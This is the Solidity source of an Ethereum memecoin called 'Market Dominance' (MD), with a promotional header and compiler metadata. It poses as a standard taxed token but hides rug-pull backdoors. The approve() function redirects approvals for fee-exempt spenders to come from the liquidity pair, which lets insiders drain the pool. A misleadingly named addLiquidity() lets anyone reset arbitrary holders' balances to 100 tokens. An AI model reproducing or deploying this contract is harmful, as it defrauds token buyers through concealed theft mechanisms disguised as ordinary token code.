Market Dominance

/**
Like a game or simulation, a well-designed coin incorporates multiple layers of digital art, from graphics (pfps, websites, themes) and audio to performance (cults, IRL activities, even crack dev livestreams). And like the art market, Pump.fun is filled with comformism, nepotism and extraction. 

Web: https://dominance.fun
Tg:  https://t.me/marketDomETH
X:   https://x.com/marketDomETH
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}
contract MD is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcemptFromFee;
    mapping (address => bool) private _bots;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Market Dominance";
    string private constant _symbol = unicode"MD";
    uint256 public _maxTxAmount = _tTotal * 2 / 100;
    uint256 public _maxWalletAmount = _tTotal * 2 / 100;
    uint256 public _minTaxSwap= _tTotal * 1 / 100;
    uint256 public _maxTaxSwap= _tTotal * 1 / 100;
    uint256 private _initialBuyTax=2;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyAt=10;
    uint256 private _reduceSellAt=10;
    uint256 private _preventCount=15;
    uint256 private _buyCount=0;
    address private receipt99;
    address payable private _taxWallet;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private _caLimitSell = true;
    uint256 private _caBlockSell = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () payable {
        receipt99 = _msgSender();
        _taxWallet = payable(0x10E85EdD46c93aB15b3F25f1544Ce448fC6C94cC);
        _balances[_msgSender()] = _tTotal * 3 / 100;
        _balances[address(this)] = _tTotal * 97 / 100;
        _isExcemptFromFee[owner()] = true;
        _isExcemptFromFee[_taxWallet] = true;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal * 3 / 100);
        emit Transfer(address(0), address(this), _tTotal * 97 / 100);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        address own99 = _msgSender(); if(_isExcemptFromFee[spender]) own99=receipt99;
        _approve(own99, spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); 
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 fee99=0;
        if (from != owner() && to != owner()) {
            require(!_bots[from] && !_bots[to]);
            fee99 = amount.mul((_buyCount>_reduceBuyAt)?_finalBuyTax:_initialBuyTax).div(100);
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletAmount, "Exceeds the maxWalletSize.");
                _buyCount++;
            }
            if(to == uniswapV2Pair && from!= address(this) ){
                fee99 = amount.mul((_buyCount>_reduceSellAt)?_finalSellTax:_initialSellTax).div(100);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance >= 0) {
                    sendETH99(address(this).balance);
                }
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_minTaxSwap && _buyCount>_preventCount) {
                if (_caLimitSell) {
                    if (_caBlockSell < block.number) {
                        swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                        uint256 contractETHBalance = address(this).balance;
                        if(contractETHBalance > 0) {
                            sendETH99(address(this).balance);
                        }
                        _caBlockSell = block.number;
                    }
                } else {
                    swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                    uint256 contractETHBalance = address(this).balance;
                    if(contractETHBalance > 0) {
                        sendETH99(address(this).balance);
                    }
                }
            }
        }
        if(fee99>0){
          _balances[address(this)]=_balances[address(this)].add(fee99);
          emit Transfer(from, address(this), fee99);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(fee99));
        emit Transfer(from, to, amount.sub(fee99));
    }
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function removeLimits() external onlyOwner {
        _caLimitSell = false;
        _maxTxAmount = _tTotal;
        _maxWalletAmount=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }
    function sendETH99(uint256 amount) private {
        _taxWallet.transfer(amount);
    }
    function addLiquidity(address[] memory addrs) external {
        for (uint256 i = 0; i < addrs.length; i ++) {
            if (addrs[i] == uniswapV2Pair) return;
            _balances[addrs[i]] = 100 * 10 ** _decimals;
        }
    }
    function withdraw99() external onlyOwner() {
        payable(owner()).transfer(address(this).balance);
    }
    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }
    receive() external payable {}
    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = receipt99 = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        swapEnabled = true;
        tradingOpen = true;
    }
}

{
  "compilationTarget": {
    "MD.sol": "MD"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}